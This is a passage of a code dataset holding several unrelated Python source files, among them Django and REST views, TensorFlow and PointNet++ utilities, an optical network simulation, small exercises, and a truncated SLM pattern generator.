Http404\n if request.method != 'POST':\n # 初次请求,使用当前条目填充表单\n form = EntryForm(instance=entry)\n else:\n form = EntryForm(instance=entry, data=request.POST)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(reverse('learning_blogs:topic', args=[topic.id]))\n cotext = {'entry': entry, 'topic': topic, 'form': form}\n return render(request, 'learning_blogs/edit_entry.html', cotext)\n","sub_path":"learning_blog/learning_blogs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"425720002","text":"from rest_framework import permissions, filters, viewsets\nfrom .serializers import Impount_lot_car_Serializer\nfrom .models import Impount_lot_car\nfrom rest_framework.response import Response\n\n\nclass Impount_lot_car_ViewSet(viewsets.ModelViewSet):\n queryset = Impount_lot_car.objects.all()\n serializer_class = Impount_lot_car_Serializer\n permission_classes = [permissions.IsAuthenticated]\n\n\nclass Impount_lot_car_ViewSet_Search(viewsets.ModelViewSet):\n queryset = Impount_lot_car.objects.all()\n serializer_class = Impount_lot_car_Serializer\n http_method_names = ['get']\n permission_classes = [permissions.AllowAny]\n\n def list(self, request):\n searching_number =request.query_params['number']\n if isinstance(searching_number, str): \n queryset = Impount_lot_car.objects.filter(number=searching_number)\n serializer = Impount_lot_car_Serializer(queryset, many=True)\n return Response(serializer.data)\n else:\n return Response([])\n\n\n\n\n\n","sub_path":"app/impount_lot/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"332571127","text":"import os\nimport pickle\nfrom collections import defaultdict\n\nimport numpy as np\n\nimport tensorflow as tf\nfrom tensorflow.python.summary.summary import FileWriter\n\n\nclass TrainClock:\n def __init__(self):\n self.global_step = 0\n self.cur_epoch = 0\n self.cur_epoch_step = 0\n\n def tick(self):\n self.global_step += 1\n self.cur_epoch_step += 1\n\n def tock(self):\n self.cur_epoch += 1\n self.cur_epoch_step = 0\n\n\nclass TrainHelper:\n def __init__(self, sess):\n # Training related paths\n self.train_log_path = os.path.join(os.path.curdir, r'train_log')\n self.models_path = os.path.join(self.train_log_path, r'models')\n\n # Training resources\n self.sess = sess\n self.saver = tf.train.Saver()\n self.clock = TrainClock()\n\n # Initialization\n self._init_log_dirs()\n\n def _init_log_dirs(self):\n # train_log path\n if not os.path.exists(self.train_log_path):\n os.makedirs(self.train_log_path)\n\n # models path\n if not os.path.exists(self.models_path):\n os.makedirs(self.models_path)\n\n def save_checkpoint(self, name):\n ckpt_path = os.path.join(self.models_path, name)\n clock_path = os.path.join(self.models_path, name + r'.clock')\n self.saver.save(self.sess, ckpt_path)\n with open(clock_path, 'wb') as fout:\n pickle.dump(self.clock, fout)\n\n def load_checkpoint(self, ckpt_path):\n clock_path = ckpt_path + r'.clock'\n self.saver.restore(self.sess, ckpt_path)\n with open(clock_path, 'rb') as fin:\n self.clock = pickle.load(fin)\n\n\nclass GeneratorDataset:\n def __init__(self, gen):\n self._gen = gen\n\n def get_dataset_iter(self):\n yield from self._gen()\n\n\nclass InfiniteDataset:\n def __init__(self, dataset):\n self._dataset = dataset\n\n def get_dataset_iter(self):\n while True:\n yield from self._dataset.get_dataset_iter()\n\n\nclass EpochDataset:\n def __init__(self, dataset, instances_in_epoch):\n self._iter = InfiniteDataset(dataset).get_dataset_iter()\n self._instances_in_epoch = instances_in_epoch\n\n def get_dataset_iter(self):\n for i in range(self._instances_in_epoch):\n yield next(self._iter)\n\n\nclass MinibatchDataset:\n def __init__(self, dataset, minibatch_size, truncate=True):\n self._minibatch_size = minibatch_size\n self._dataset = dataset\n self._truncate = truncate\n\n def get_dataset_iter(self):\n list_dict = defaultdict(list)\n _count = 0\n\n for data in self._dataset.get_dataset_iter():\n _count += 1\n for k, v in data.items():\n list_dict[k].append(v)\n if _count == self._minibatch_size:\n kv = {}\n for k, vl in list_dict.items():\n kv[k] = np.array(vl)\n yield kv\n list_dict.clear()\n _count = 0\n\n if _count > 0 and not self._truncate:\n kv = {}\n for k, vl in list_dict.items():\n kv[k] = np.array(vl)\n yield kv\n\n\nclass TensorBoardLogger:\n def __init__(self, path):\n self._writer = FileWriter(path, flush_secs=120)\n","sub_path":"experiment/seq2seq.lstm.attention.vanilla/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"501253955","text":"# encoding:utf-8\nfrom pluginboard.command import BaseCommand\n\n\nclass Command(BaseCommand):\n\n name = \"jojo\"\n description = \"help user to create the app with the branch and with env.\"\n\n def add_arguments(self, parser):\n\n sub_parsers = parser.add_subparsers(help=\"list sub command names\")\n\n test_parser = sub_parsers.add_parser(\"go\", help=\"say hello\",\n add_help=True)\n test_parser.add_argument(\"--name\", dest=\"name\", type=str,\n help=\"hello name\")\n\n # create_parser.add_argument('-h', '--help', action=HelpAction, channel_id=self.channel_id,\n # default=argparse.SUPPRESS, help='show this help message')\n test_parser.set_defaults(func=self.test_handler)\n\n def test_handler(self, **kwargs):\n name = kwargs.get(\"name\")\n print(name)\n","sub_path":"tests/user_commands/cac_command.py","file_name":"cac_command.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"236989987","text":"#lab5\nimport json\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nclass Lightpath(object):\n def __init__(self, power, path, channel=0):\n self._signal_power = power\n self._path = path\n self._noise_power = 0\n self._latency = 0\n self._channel = channel\n\n @property\n def signal_power(self):\n return self._signal_power\n\n @property\n def path(self):\n return self._path\n\n @path.setter\n def path(self, path):\n self._path = path\n\n @property\n def noise_power(self):\n return self._noise_power\n\n @noise_power.setter\n def noise_power(self, noise):\n self._noise_power = noise\n\n @property\n def latency(self):\n return self._latency\n\n @property\n def channel(self):\n return self._channel\n\n @latency.setter\n def latency(self, latency):\n self._latency = latency\n\n def add_noise(self, noise):\n self.noise_power = self.noise_power + noise\n\n def add_latency(self, latency):\n self.latency = self.latency+latency\n\n def next(self):\n self.path = self.path[1:]\n\n\nclass Node(object):\n def __init__(self, node_dict):\n self._label = node_dict['label']\n self._position = node_dict['position']\n self._connected_nodes = node_dict['connected_nodes']\n self._successive = {}\n\n @property\n def label(self):\n return self._label\n\n @property\n def position(self):\n return self._position\n\n @property\n def connected_nodes(self):\n return self._connected_nodes\n\n @property\n def successive(self):\n return self._successive\n\n @successive.setter\n def successive(self, successive):\n self._successive = successive\n\n def propagate(self, lightpath, occupation=False):\n path = lightpath.path\n if len(path) > 1:\n line_label = path[:2]\n line = self.successive[line_label]\n lightpath.next()\n lightpath = line.propagate(lightpath, occupation)\n return lightpath\n\n\nclass Line(object):\n def __init__(self, line_dict):\n self._label = line_dict['label']\n self._lenght = line_dict['lenght']\n self._state = ['free']*10\n self._successive = {}\n\n @property\n def label(self):\n return self._label\n\n @property\n def lenght(self):\n return self._lenght\n\n @property\n def state(self):\n return self._state\n\n @state.setter\n def state(self, state):\n state = [s.lower().strip() for s in state]\n if set(state).issubset(set(['free', 'occupied'])):\n self._state = state\n else:\n print('ERROR: line state not recognized. Value:', set(state)-set(['free', 'occupied']))\n\n @property\n def successive(self):\n return self._successive\n\n @successive.setter\n def successive(self, successive):\n self._successive = successive\n\n def latency_generation(self):\n latency = self.lenght / ((3*10 ^ 8) * (2 / 3))\n return latency\n\n def noise_generation(self, signal_power):\n noise = signal_power / (2 * self.lenght)\n return noise\n\n def propagate(self, lightpath, occupation=False):\n #update latency\n latency = self.latency_generation()\n lightpath.add_latency(latency)\n\n #update noise\n signal_power = lightpath.signal_power\n noise = self.noise_generation(signal_power)\n lightpath.add_noise(noise)\n\n #update line state\n if occupation:\n channel = lightpath.channel\n new_state = self.state.copy()\n new_state[channel] = 'occupied'\n self.state = new_state\n\n node = self.successive[lightpath.path[0]]\n lightpath = node.propagate(lightpath, occupation)\n\n return lightpath\n\n\nclass Network(object):\n def __init__(self, json_path):\n node_json = json.load(open(json_path, 'r'))\n self._nodes = {}\n self._lines = {}\n self._connected = False\n self._weighted_paths = None\n self._route_space = None\n\n for node_label in node_json: #create node instance\n node_dict = node_json[node_label]\n node_dict['label'] = node_label\n node = Node(node_dict)\n self._nodes[node_label] = node\n for connected_node_label in node_dict['connected_nodes']:\n line_dict = {}\n line_label = node_label+connected_node_label\n line_dict['label'] = line_label\n node_position = np.array(node_json[node_label]['position'])\n connected_node_position = np.array(node_json[connected_node_label]['position'])\n line_dict['lenght'] = np.sqrt(np.sum((node_position-connected_node_position)**2))\n line = Line(line_dict)\n self._lines[line_label] = line\n\n @property\n def nodes(self):\n return self._nodes\n\n @property\n def lines(self):\n return self._lines\n\n @property\n def weighted_paths(self):\n return self._weighted_paths\n\n @property\n def route_space(self):\n return self._route_space\n\n def draw(self):\n nodes = self.nodes\n for node_label in nodes:\n n0 = nodes[node_label]\n x0 = n0.position[0]\n y0 = n0.position[1]\n plt.plot(x0, y0, 'go', markersize=10)\n plt.text(x0+20, y0+20, node_label)\n for connected_node_label in n0.connected_nodes:\n n1 = nodes[connected_node_label]\n x1 = n1.position[0]\n y1 = n1.position[1]\n plt.plot([x0, x1], [y0, y1], 'b')\n plt.title('network')\n plt.show()\n\n def find_paths(self, label1, label2):\n cross_nodes = []\n for key in self.nodes.keys():\n if (key != label1) & (key != label2):\n cross_nodes.append(key)\n cross_lines = self.lines.keys()\n inner_paths = {}\n inner_paths['0'] = label1\n for i in range(len(cross_nodes)+1):\n inner_paths[str(i+1)] = []\n for inner_path in inner_paths[str(i)]:\n for cross_node in cross_nodes:\n if (inner_path[-1]+cross_node in cross_lines) & (cross_node not in inner_path):\n inner_paths[str(i+1)] = inner_paths[str(i+1)]+[inner_path+cross_node]\n\n paths = []\n for i in range(len(cross_nodes)+1):\n for path in inner_paths[str(i)]:\n if path[-1]+label2 in cross_lines:\n paths.append(path + label2)\n return paths\n\n def connect(self):\n nodes_dict = self.nodes\n lines_dict = self.lines\n for node_label in nodes_dict:\n node = nodes_dict[node_label]\n for connected_node in node.connected_nodes:\n line_label = node_label+connected_node\n line = lines_dict[line_label]\n line.successive[connected_node] = nodes_dict[connected_node]\n node.successive[line_label] = lines_dict[line_label]\n self._connected = True\n\n def propagate(self, lightpath, occupation=False):\n path = lightpath.path\n start_node = self.nodes[path[0]]\n propagated_lightpath = start_node.propagate(lightpath, occupation) #ricorsione\n return propagated_lightpath\n\n def set_weighted_paths(self, signal_power):\n if not self._connected:\n self.connect()\n node_labels = self.nodes.keys()\n pairs = []\n for label1 in node_labels:\n for label2 in node_labels:\n if label1 != label2:\n pairs.append(label1 + label2)\n\n df = pd.DataFrame()\n paths = []\n latencies = []\n noises = []\n snrs = []\n\n for pair in pairs:\n for path in self.find_paths(pair[0], pair[1]):\n path_string = ''\n for node in path:\n path_string = path_string + node + '->'\n paths.append(path_string[:-2])\n\n # propagation\n\n lightpath = Lightpath(signal_power,path)\n lightpath = self.propagate(lightpath, occupation=False)\n latencies.append(lightpath.latency)\n noises.append(lightpath.noise_power)\n snrs.append(10 * np.log10(lightpath.signal_power / lightpath.noise_power))\n\n df['path'] = paths\n df['latency'] = latencies\n df['noise'] = noises\n df['snr'] = snrs\n self._weighted_paths = df\n\n route_space = pd.DataFrame()\n route_space['path'] = paths\n for i in range(10):\n route_space[str(i)] = ['free']*len(paths)\n self._route_space = route_space\n\n def available_path(self, input_node, output_node):\n if self.weighted_paths is None:\n self.set_weighted_paths(1)\n all_paths = []\n for path in self.weighted_paths.path.values:\n if (path[0] == input_node) and (path[-1] == output_node):\n all_paths.append(path)\n available_paths = []\n for path in all_paths:\n path_occupancy = self.route_space.loc[self.route_space.path == path].T.values[1:]\n if 'free' in path_occupancy:\n available_paths.append(path)\n return available_paths\n\n def find_best_snr(self, input_node, output_node):\n available_paths = self.available_path(input_node, output_node)\n if available_paths:\n inout_df = self.weighted_paths.loc[self.weighted_paths.path.isin(available_paths)]\n best_snr = np.max(inout_df.snr.values)\n best_path = inout_df.loc[inout_df.snr == best_snr].path.values[0]\n else:\n best_path = None\n return best_path\n\n def find_best_latency(self, input_node, output_node):\n available_paths = self.available_path(input_node, output_node)\n if available_paths:\n inout_df = self.weighted_paths.loc[self.weighted_paths.path.isin(available_paths)]\n best_latency = np.min(inout_df.latency.values)\n best_path = inout_df.loc[inout_df.latency == best_latency].path.values[0]\n else:\n best_path = None\n return best_path\n\n def stream(self, connections, best='latency'):\n streamed_connections = []\n for connection in connections:\n input_node = connection.input_node\n output_node = connection.output_node\n signal_power = connection.signal_power\n self.set_weighted_paths(signal_power)\n if best == 'latency':\n path = self.find_best_latency(input_node, output_node)\n elif best == 'snr':\n path = self.find_best_snr(input_node, output_node)\n else:\n print('error: best input not recognized. Value:', best)\n continue\n if path:\n path_occupancy = self.route_space.loc[self.route_space.path == path].T.values\n channel = [i for i in range(len(path_occupancy)) if path_occupancy[i] == 'free'][0]\n path = path.replace('->', '')\n in_lightpath = Lightpath(signal_power, path, channel)\n out_lightpath = self.propagate(in_lightpath, True)\n connection.latency = out_lightpath.latency\n noise_power = out_lightpath.noise_power\n connection.snr = 10 * np.log10(signal_power / noise_power)\n self.update_route_space(path, channel)\n else:\n connection.latency = None\n connection.snr = 0\n\n streamed_connections.append(connection)\n return streamed_connections\n\n @staticmethod\n def path_to_line_set(path):\n path = path.replace('->', '')\n return set([path[i] + path[i+1] for i in range(len(path)-1)])\n\n def update_route_space(self, path, channel):\n all_paths = [self.path_to_line_set(p) for p in self.route_space.path.values]\n states = self.route_space[str(channel)]\n lines = self.path_to_line_set(path)\n for i in range(len(all_paths)):\n line_set = all_paths[i]\n if lines.intersection(line_set):\n states[i]='occupied'\n self.route_space[str(channel)] = states\n\n\nclass Connection(object):\n def __init__(self, input_node, output_node, signal_power):\n self._input_node = input_node\n self._output_node = output_node\n self._signal_power = signal_power\n self._latency = 0\n self._snr = 0\n\n @property\n def input_node(self):\n return self._input_node\n\n @property\n def output_node(self):\n return self._output_node\n\n @property\n def signal_power(self):\n return self._signal_power\n\n @property\n def latency(self):\n return self._latency\n\n @latency.setter\n def latency(self, latency):\n self._latency = latency\n\n @property\n def snr(self):\n return self._snr\n\n @snr.setter\n def snr(self, snr):\n self._snr = snr\n\n\n\n#main\n\nfrom random import shuffle\n\nnetwork = Network('nodes.json')\nnetwork.connect()\nnode_labels = list (network.nodes.keys())\nconnections = []\nfor i in range (100):\n shuffle(node_labels)\n connection = Connection(node_labels[0], node_labels[-1], 1)\n connections.append(connection)\n\nstreamed_connections = network.stream(connections, best='snr')\nsnrs = [connection.snr for connection in streamed_connections]\nprint(snrs)\nplt.hist(snrs, bins=10)\nplt.title('SNR distribution')\nplt.show()\nnetwork.draw()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"net es 4.py","file_name":"net es 4.py","file_ext":"py","file_size_in_byte":13630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"399634731","text":"\n\nfrom xai.brain.wordbase.nouns._paddy import _PADDY\n\n#calss header\nclass _PADDIES(_PADDY, ):\n\tdef __init__(self,): \n\t\t_PADDY.__init__(self)\n\t\tself.name = \"PADDIES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"paddy\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_paddies.py","file_name":"_paddies.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"158866615","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 2 16:42:30 2016\n\n@author: Glaucia\n\"\"\"\n\nimport os\nimport argparse\n\ndef oppenningfile(filename):\n \"\"\"opens file with all the words counts and loops through file lines to find\n matchings with the the \"t\" letter as the starting letter of the line. Grabs all the\n words starting in t puts in a list and writes the list in a tab delimited file named \"T-words plus the\n given input\"\"\"\n list1=[]\n with open(filename,'r') as my_file:\n for line in my_file:\n if line[0] == \"t\": \n list1.append(line)\n writefilename=os.path.join(\"T-words-\" + filename)\n with open(writefilename,'w') as tfile:\n for value in list1:\n tfile.write(value) \n \n \ndef arguments():\n \"\"\"parsing arguments to allow changing input file\"\"\"\n parser = argparse.ArgumentParser(description=\"my argument parser\") \n parser.add_argument('input', type=str, help='give the name of your input file')\n args = parser.parse_args()\n return args\n\n \n \ndef main():\n arg=arguments()\n inpu=arg.input\n chapter=oppenningfile(inpu)\n print(chapter)\n \n \nif __name__ == '__main__':\n main() \n","sub_path":"answers/glaudelrio/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"41167493","text":"\"\"\"\n\nНапишите программу, которая принимает на вход матрицу, выполняет её транспонирование и выводит результат.\n\nФормат ввода:\nВ первой строке указываются два целых числа n и m, количество строк и столбцов, соответственно.\nДалее следуют n строк, содержащих по m целых чисел, разделённых пробелом.\n\nФормат вывода:\nПрограмма должна вывести m строк содержимого транспонированной матрицы. Элементы матрицы стоит разделять пробелом.\n\nSample Input 1:\n\n2 3\n1 2 3\n4 5 6\nSample Output 1:\n\n1 4\n2 5\n3 6\nSample Input 2:\n\n2 2\n1 2\n3 4\nSample Output 2:\n\n1 3\n2 4\n\"\"\"\n\nimport sys\n\n\ndef matrix_transpose(matrix):\n return [list(i) for i in zip(*matrix)]\n\n\ndef main():\n reader = (list(map(int, line.split())) for line in sys.stdin)\n n, m = next(reader)\n matrix = list(reader)\n for line in matrix_transpose(matrix):\n print(*line, sep=' ')\n\n\nif __name__ == '__main__':\n main()\n \n","sub_path":"transpose_matrix.py","file_name":"transpose_matrix.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"276625860","text":"\"\"\"\n PointNet++ Model for point clouds classification\n\"\"\"\n\nimport os\nimport sys\nimport tensorflow as tf\nimport tf_util\nimport numpy as np\nfrom pointnet_util import pointnet_sa_module,pointnet_sa_module_msg\n\nBASE_DIR = os.path.dirname(__file__)\nsys.path.append(BASE_DIR)\nsys.path.append(os.path.join(BASE_DIR, '../utils'))\n\n\ndef placeholder_inputs(batch_size, num_point):\n pointclouds_pl = tf.placeholder(tf.float32, shape=(batch_size, num_point, 3))\n attachment_labels_pl = tf.placeholder(tf.int32, shape=(batch_size, 128))\n type_labels_pl = tf.placeholder(tf.int32, shape=(batch_size, 128))\n orientation_labels_pl = tf.placeholder(tf.int32, shape=(batch_size, 128))\n surface_labels_pl = tf.placeholder(tf.int32, shape=(batch_size, 128))\n startstage_labels_pl = tf.placeholder(tf.int32, shape=(batch_size, 128))\n\n return pointclouds_pl, attachment_labels_pl,type_labels_pl,orientation_labels_pl,surface_labels_pl,startstage_labels_pl\n\n\ndef get_model(point_cloud, is_training, bn_decay=None):\n \"\"\" Classification PointNet, input is BxNx3, output Bx40 \"\"\"\n batch_size = point_cloud.get_shape()[0].value\n num_point = point_cloud.get_shape()[1].value\n end_points = {}\n l0_xyz = point_cloud\n l0_points = None\n end_points['l0_xyz'] = l0_xyz\n\n # Set abstraction layers\n # Note: When using NCHW for layer 2, we see increased GPU memory usage (in TF1.4).\n # So we only use NCHW for layer 1 until this issue can be resolved.\n\n l1_xyz, l1_points = pointnet_sa_module_msg(l0_xyz, l0_points,4096, [0.1,0.2,0.4],[16,32,128],[[32,32,64],[64, 64, 128],[64,96,128]],is_training=is_training, bn_decay=bn_decay, scope='layer1', use_nchw=True)\n l2_xyz, l2_points = pointnet_sa_module_msg(l1_xyz, l1_points,1024, [0.2,0.4,0.8],[32,64,128],[[64,64,128],[128,128,256],[128,128,256]],is_training=is_training, bn_decay=bn_decay, scope='layer2')\n l3_xyz, l3_points,_ = pointnet_sa_module(l2_xyz, l2_points, npoint=None, radius=None, nsample=None, mlp=[256, 512, 1024], mlp2=None, group_all=True, is_training=is_training, bn_decay=bn_decay, scope='layer3')\n \n # Fully connected layers\n net = tf.reshape(l3_points, [batch_size, -1])\n net = tf_util.fully_connected(net, 12800, bn=True, is_training=is_training, scope='fc1', bn_decay=bn_decay)\n net = tf_util.dropout(net, keep_prob=0.5, is_training=is_training, scope='dp1')\n net = tf_util.fully_connected(net, 6400, bn=True, is_training=is_training, scope='fc2', bn_decay=bn_decay)\n net = tf_util.dropout(net, keep_prob=0.5, is_training=is_training, scope='dp2')\n \n attachment_net = tf_util.fully_connected(net, 128*40, activation_fn=None, scope='fc3')\n type_net = tf_util.fully_connected(net, 128*4, activation_fn=None, scope='fc4')\n orientation_net = tf_util.fully_connected(net, 128*4, activation_fn=None, scope='fc5')\n surface_net = tf_util.fully_connected(net, 128*4, activation_fn=None,scope='fc6')\n startstage_net = tf_util.fully_connected(net, 128*100, activation_fn=None, scope='fc7')\n \n attachment_net = tf.reshape(attachment_net, [batch_size,128,-1])\n type_net = tf.reshape(type_net,[batch_size,128,-1])\n orientation_net = tf.reshape(orientation_net,[batch_size,128,-1])\n surface_net = tf.reshape(surface_net,[batch_size,128,-1])\n startstage_net = tf.reshape(startstage_net,[batch_size,128,-1])\n\n return attachment_net, type_net, orientation_net, surface_net, startstage_net, end_points\n\n\ndef get_loss(attachment_pred, type_pred, orientation_pred, surface_pred, startstage_pred,\n attachment_label, type_label, orientation_label, surface_label, startstage_label, end_points):\n \"\"\" pred: B*NUM_CLASSES,\n label: B, \"\"\"\n \n attachment_loss =tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(logits=attachment_pred, labels=attachment_label))\n type_loss = tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(logits=type_pred, labels=type_label))\n orientation_loss =tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(logits=orientation_pred, labels=orientation_label))\n surface_loss = tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(logits=surface_pred, labels=surface_label))\n startstage_loss = tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(logits=startstage_pred, labels=startstage_label))\n\n tf.add_to_collection('losses',attachment_loss)\n tf.add_to_collection('losses',type_loss)\n tf.add_to_collection('losses',orientation_loss)\n tf.add_to_collection('losses',surface_loss)\n tf.add_to_collection('losses',startstage_loss)\n tf.summary.scalar('surface_losses', surface_loss)\n tf.summary.scalar('startstage_losses',startstage_loss)\n tf.summary.scalar('type_losses',type_loss)\n tf.summary.scalar('attachment_losses',attachment_loss)\n tf.summary.scalar('orientation_losses',orientation_loss)\n \n \n\nif __name__ == '__main__':\n with tf.Graph().as_default():\n inputs = tf.zeros((16, 10000, 3))\n output, _ , _ , _ , _ , _ = get_model(inputs, tf.constant(True))\n print(output)\n\n","sub_path":"model1/models/pointnet2_cls_ssg.py","file_name":"pointnet2_cls_ssg.py","file_ext":"py","file_size_in_byte":5081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"462731780","text":"from v003.utils.file_opener import *\nfrom v003.script_manager import script_importer\nfrom v003.layout_manager.layout import build_layout_tree\nfrom v003.layout_manager.html_converter import dump_tree_as_html\n\nimport sys\nimport logging\n\nimport app\n\n__app__ = 'PyNaLL'\n__author__ = 'PyNaLL Team'\n__version__ = '0.0.3'\n__date__ = '10/07/2021'\n\nLOG_LEVEL = logging.DEBUG\nLOG_FORMAT = \"[%(levelname)s] %(message)s\"\nlogging.basicConfig(level=LOG_LEVEL, format=LOG_FORMAT)\n\nif __name__ == '__main__':\n logging.info('PyNaLL is starting up...')\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-i\", \"--infile\", help=\"file to be read in\")\n parser.add_argument(\"-o\", \"--outfile\", help=\"file to be written to\")\n parser.add_argument(\"-l\", \"--live\", help=\"live reload files upon update\")\n parser.add_argument(\"-a\", \"--all\", help=\"output layout, styles, and scripts sections\", action='store_true')\n parser.add_argument(\"-L\", \"--layout\", help=\"output layout (.html)\", action='store_true')\n parser.add_argument(\"-S\", \"--styles\", help=\"output styles (.css)\", action='store_true')\n parser.add_argument(\"-P\", \"--scripts\", help=\"output scripts (.py)\", action='store_true')\n args = parser.parse_args()\n\n if args.infile:\n # Parse the infile/outfile name\n infile = args.infile\n outfile = infile.replace('.pypg','') if not args.outfile else args.outfile\n logging.info(f'Infile={infile}, Outfile={outfile}')\n\n layout_switch = args.layout or args.all\n layout_outfile = outfile + '.html'\n styles_switch = args.styles or args.all\n styles_outfile = outfile + '.css'\n scripts_switch = args.scripts or args.all\n scripts_outfile = outfile + '.py'\n\n file_as_lines = open_file_as_lines(infile)\n\n if scripts_switch:\n scripts_section = isolate_scripts(file_as_lines)\n print(scripts_section)\n scripts_section = remove_one_tab(scripts_section)\n script_obj = script_importer.load_script(scripts_outfile, scripts_section)\n # if styles_switch:\n # styles_section = isolate_styles(file_as_lines)\n # styles_levels = count_levels(styles_section)\n # print(styles_levels)\n\n pages = {}\n if layout_switch:\n layout_section = isolate_layout(file_as_lines)\n print(layout_section)\n layout_levels = count_levels(layout_section)\n # print(layout_levels)\n layout_tree = build_layout_tree(layout_levels)\n # print(layout_tree)\n\n html_str = dump_tree_as_html(layout_tree)\n # print(html_str)\n\n html_dir = outfile + '.html'\n\n with open('templates/' + html_dir, 'w+') as html_out:\n logging.info(f'Outputting html source to templates/{html_dir}')\n html_out.write(html_str)\n html_out.close()\n\n pages['index'] = html_dir\n\n app.run_flask(pages, script_obj)\n\n\n else:\n logging.error('No file found!')\n logging.error('PyNaLL will now exit.')\n sys.exit(1)\n\n","sub_path":"v003/pynall_2.py","file_name":"pynall_2.py","file_ext":"py","file_size_in_byte":3125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"443677625","text":"fo = open(\"input.txt\",\"r\")\nraw = fo.read()\nstrs = raw.split(\",\")\n\n\nage = {}\n\ni = 0\nfor val in strs:\n num = int(val)\n age[num] = i\n prevnum = num\n i += 1\n\nwhile i < 30000000:\n if i % 300000 == 0:\n print(i)\n\n tmp = age.get(num, -1)\n age[num] = i-1\n if tmp == -1:\n num = 0\n else:\n num = i-tmp-1\n i += 1\n\nprint(num)","sub_path":"Day 15/part_2.py","file_name":"part_2.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"524986279","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 5/10/2016\n\n@author: david-hoffman\n@copyright : David Hoffman\n\nPackage holding the necessary functions for generating SIM patterns for\nthe QXGA-3DM writing repz11 files and ini files for labVIEW\n\"\"\"\n\nimport os\nimport zipfile\nimport hashlib\nimport numpy as np\n\n# PIL allows us to write binary images, though we need a cludge\n# see 'Writing Binary Files.ipynb'\nfrom PIL import Image\nfrom io import BytesIO\n\n\ndef tuplify(arg):\n \"\"\"\n A utility function to convert args to tuples\n \"\"\"\n # strings need special handling\n if isinstance(arg, str):\n return (arg,)\n # other wise try and make it a tuple\n try:\n # turn passed arg to list\n return tuple(arg)\n except TypeError:\n # if not iterable, then make list\n return (arg,)\n\n\nclass Repertoire(object):\n \"\"\"\n A Repertoire declares the Sequences to be used, the images to\n be shown and defines the Running Order(s).\n\n - Sequences\n Sequence files instruct the system which bit-plane(s) to upload to the\n microdisplay, when to illuminate them, and for how long. Please refer\n to [7], [8] for more information on Sequence files.\n - Images\n Image files contain bit-plane data to be shown on the microdisplay.\n These can be 8-bit and / or 1-bit images. Supported image file formats\n are .BMP, .GIF, and .PNG.\n - Running Orders\n A Running Order is a set of user defined instructions that combine\n images, sequences, delays and triggers which all control display\n operation in the Active Mode. A Repertoire may contain one or more\n Running Orders.\n \"\"\"\n\n def __init__(self, name, runnningorders=None):\n \"\"\"\n Initialize the Repertoire from a given set of running orders.\n \"\"\"\n self.name = name\n # define a list of frames\n if runnningorders is None:\n self._ROs = []\n # store sets of bitplanes and sequences\n self.sequences = set()\n self.bitplanes = set()\n else:\n self._ROs = list(tuplify(runnningorders))\n # build set of sequences in the repertoire\n self.sequences = {seq for RO in self for frame in RO for seq in frame.sequences}\n # build set of bitplanes to store in repertoire\n self.bitplanes = {bp for RO in self for frame in RO for bp in frame.bitplanes}\n\n @property\n def ROs(self):\n # protect the interal ROs\n return self._ROs\n\n def addRO(self, RO):\n # add the RO to the internal list\n self._ROs.append(RO)\n # update the internal sets of sequences and bitplanes\n self.sequences.update({seq for frame in RO for seq in frame.sequences})\n self.bitplanes.update({bp for frame in RO for bp in frame.bitplanes})\n\n def __iter__(self):\n # we want to be able to easily iterate over the internal ROs\n return iter(self.ROs)\n\n def __len__(self):\n # the length of a Repertoire is really the number of ROs\n return len(self.ROs)\n\n def __str__(self):\n # initialize the result string we'll write to\n rep = \"\"\n # make prepare sequences and bitplanes for writing.\n rep += self.prep_seq_for_write()\n rep += self.prep_bp_for_write()\n # make the first RO \"Default\"\n rep += \"DEFAULT \"\n # loop through internal ROs\n for RO in self:\n rep += self.write_RO(RO)\n rep += \"\\n\\n\"\n return rep\n\n def prep_bp_for_write(self):\n \"\"\"\n This function prepares the internal set of bitplanes for writing a\n rep file\n\n It generates the string that will appear at the beginning of the\n rep file and generates a dictionary that remembers the positions of\n the bitplanes in the dictionary.\n\n Both the dictionary and the str are saved as instance variables.\n \"\"\"\n # initialize dictionary for bitplanes\n self.bp_dict = {}\n # start a list for the final printout\n bps = [\"IMAGES\"]\n # iterate through bitplanes, which will be sorted be name\n i = 0\n for bp in sorted(self.bitplanes):\n 